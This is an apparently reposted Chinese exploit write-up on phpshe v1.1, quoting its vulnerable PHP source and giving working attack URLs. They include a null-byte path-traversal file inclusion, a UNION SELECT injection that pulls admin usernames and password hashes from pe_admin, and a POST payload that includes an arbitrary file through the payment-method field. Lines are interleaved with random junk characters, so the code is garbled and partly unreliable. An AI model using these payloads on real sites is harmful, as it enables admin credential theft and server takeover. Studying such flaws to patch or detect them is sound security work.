phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
9 C  S  m$ `  k. L/ K/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
4 ?. [9 y+ Z1 @0×00 整体大概参数传输

1 s" ]+ J+ ~( \
3 R! Z* f9 j5 C% g  E
//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
% ^# Y( M2 _# z3 o3 j) F! B. x  Ysession_start();
# T) J: \, G. A. F& G!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

$ G3 v5 |0 f5 G. d! {$ j0×01 包含漏洞
  l3 t7 c" ^! A2 u4 |! U8 ?
$ v4 h3 S. ^, O/ h8 d8 D5 `4 n2 M
; ]! [2 K8 C( G: z8 Q2 F6 \7 K//首页文件
, z5 S, y& ~0 B! m1 O<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
$ u' C; v% l2 T+ q4 _url路由配置
0 a# E; K: `* E7 Q$module = $mod = $act = 'index';
/ q0 o2 e0 c* C' F) z' R) @) W$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
" v5 K* B. r2 V6 U  p* }6 ^& W" W//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

9 ?' h# O! V4 s5 h3 L1 P 0×02 搜索注入

<code id="code2">

//product.php文件
$ [4 L8 T1 Q2 y! t, n# y  hcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
* m, M3 N. T5 x- p# \6 Rwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
6 Z: a. q- m  I# q}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
- Q# K* p4 c/ H% P9 ]if ($_g_orderby) {
8 D3 p) d7 R0 u8 t2 i$orderby = explode('_', $_g_orderby);
" Q: J& D( ]9 a9 X5 `* p$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
) g  K8 ?3 _; b- Relse {
8 N! B; Q' {# u: x$sqlwhere .= " order by `product_id` desc";
9 r. l+ j) l! u# `( q" r; |}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
2 R0 h" s# k6 U8 @$ }//热卖排行
/ \6 O0 Z* L# h) g% q$product_hotlist = product_hotlist();
0 Y8 [2 n, ]  q/ M$ q//当前路径
$nowpath = category_path($category_id);
; U+ }+ M' O5 b, h) n) z. r$seo = pe_seo($info['category_name']);
* y$ V6 U1 q# e3 _7 q- kinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
6 H, O$ u: U. k: S! f//处理条件语句
$sqlwhere = $this->_dowhere($where);
( E" R/ n0 t2 ^" t& _) |return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
3 H1 e+ z" Q" Y}
+ u( T( W: m' y7 F4 u9 w//exp
4 q  L% T0 D2 {5 b, w3 Mproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

% |; Y7 E, Q" N! O$ z& X: |2 q* S0×03 包含漏洞2

- @, B$ T7 q  t' B& c* X+ G<code id="code3">

//order.php

case 'pay':

+ b" i% R$ \. h! I, E$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

1 s! B6 E2 S+ g0 w$ D+ m& d0 O. B0 xforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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/ s' B' [2 x# M1 |. \}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

8 N; h2 J" _- q# {+ O* G: ?" J!$order['order_id'] && pe_error('订单号错误...');

* @* r) _* x3 f1 o1 X  |if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

: F) m2 @, i$ _1 S$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

) R' }' _. b& X( E% minclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

! _/ r$ J# T7 A( \; Q# ]else {

pe_error('支付错误...');

+ \7 L: D! D8 f3 e) D+ r, r}

}

$seo = pe_seo('选择支付方式');

. X: ]: n$ f1 ainclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
8 M8 C- Z1 A0 a, ~http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg